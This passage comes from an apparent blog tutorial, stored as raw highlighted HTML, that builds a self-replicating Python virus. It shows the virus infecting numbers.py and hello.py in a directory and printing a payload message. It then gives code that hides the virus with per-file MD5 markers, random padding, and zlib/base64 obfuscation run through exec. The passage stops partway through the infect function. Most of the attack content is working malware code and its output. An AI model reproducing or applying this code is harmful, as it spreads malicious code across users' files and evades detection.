     &lt;span style=&quot;color: #66d9ef;&quot;&gt;del&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# end-virus&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# numbers.py&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;random&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;random&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seed()&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;_&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(random&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;randint(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And as expected, now we have our virus before the real code.&lt;/p&gt;&lt;p&gt;Let’s create another &lt;code&gt;.py&lt;/code&gt; file in the same directory, just a simple “hello world” program:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;playgrounds&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;first&lt;/span&gt; &lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;❯&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;print(&quot;hello world&quot;)&#39;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hello&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;py&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and now, let’s execute the &lt;code&gt;[numbers.py](http://numbers.py)&lt;/code&gt; program:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;playgrounds&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;first&lt;/span&gt; &lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;❯&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;python&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;numbers&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;py&lt;/span&gt;                                                                          &lt;span style=&quot;color: #ae81ff;&quot;&gt;02&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;35&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;12&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PM&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;We&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;are&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;sick,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fked&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;and&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;complicated&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;We&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;are&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;chaos,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;we&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;can&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;t be cured&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;35&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;43&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;89&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;37&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;92&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;71&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;4&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;21&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;83&lt;/span&gt;
&lt;span style=&quot;color: #ae81ff;&quot;&gt;47&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see, the program still does whatever it was expected to do 
(extract some random numbers) but only after having executed our virus, 
which has spread to other &lt;code&gt;*.py&lt;/code&gt; files in the same directory and has executed the payload function. Now, if you look at the &lt;code&gt;[hello.py](http://hello.py)&lt;/code&gt; file, you will see that it has been infected as well, as we can see running it:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;playgrounds&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;first&lt;/span&gt; &lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;❯&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;python&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hello&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;py&lt;/span&gt;                                                                            &lt;span style=&quot;color: #ae81ff;&quot;&gt;02&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;01&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PM&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;We&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;are&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;sick,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fked&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;and&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;complicated&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;We&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;are&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;chaos,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;we&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;can&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;t be cured&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hello&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;world&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;b&gt;# Trying to hide the virus code a little more&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Now, even if this virus could be potentially dangerous, it is easily 
detectable. You don’t have to be Sherlock Holmes to recognize a virus 
that is written in plain text and starts with &lt;code&gt;# begin-virus&lt;/code&gt;, right?&lt;/p&gt;&lt;p&gt;So what can we do to make it a little harder to find?&lt;/p&gt;&lt;p&gt;Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something.&lt;/p&gt;&lt;p&gt;For
 example, wouldn’t it be better if we could consider as infected any 
single file that contains the md5 hash of its name as a comment?&lt;/p&gt;&lt;p&gt;Our virus could start with something like &lt;code&gt;# begin-78ea1850f48d1c1802f388db81698fd0&lt;/code&gt; and end with something like &lt;code&gt;# end-78ea1850f48d1c1802f388db81698fd0&lt;/code&gt; and that would be different for any infected file, making it more difficult to find all the infected files on the system.&lt;/p&gt;&lt;p&gt;So our &lt;code&gt;get_content_if_infectable()&lt;/code&gt; function could be modified like this:&lt;/p&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_content_if_infectable&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash):&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# return the content of a file only if it hasn&#39;t been infected yet&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(file)&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;None&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Obviously, before calling it you should calculate the hash of the file you’re going to infect like this:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hashlib&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;md5(file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;encode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hexdigest()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and also the &lt;code&gt;get_virus_code()&lt;/code&gt; function should be modified to look for the current script hash:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# open the current file and returns the virus code, that is the code between the&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# begin-{hash} and the end-{hash} tags&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[]&lt;/span&gt;

     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hashlib&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;md5(os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;basename(__file__)&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;encode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hexdigest()&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(__file__)&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# begin-&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;True&lt;/span&gt;

          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# end-&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;break&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot?&lt;/p&gt;&lt;p&gt;Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the &lt;code&gt;zlib&lt;/code&gt; library and converting it in &lt;code&gt;base64&lt;/code&gt; format. We could just pass our plain text virus to a new &lt;code&gt;transform_and_obscure_virus_code()&lt;/code&gt; function like this:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;obscure&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(data:&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;bytes)&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;bytes:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# obscure a stream of bytes compressing it and encoding it in base64&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;base64&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;urlsafe_b64encode(zlib&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;compress(data,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;transform_and_obscure_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(virus_code):&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# transforms the virus code adding some randomic contents, compressing it and converting it in base64&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;new_virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[]&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code:&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;new_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# &quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;str(random&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;randrange(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;new_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;obscured_virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;obscure(bytes(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;join(new_virus_code),&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;utf-8&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;obscured_virus_code&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Obviously, when you obscure your virus compressing it and encoding it in
 base64 the code is not executable anymore, so you will have to 
transform it to the original state before executing it. This will be 
done in the &lt;code&gt;infect&lt;/code&gt; method, by using the exec statement like this:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;infect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code):&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# infect a single file. The routine opens the file and if it&#39;s not been infected yet, infect the file with a custom version of the virus code&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hashlib&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;md5(file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;encode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hexdigest()&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(data:&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_if_infectable(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash)):&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;obscured_virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;transform_and_obscure_virus_code(virus_code)&lt;/span&gt;
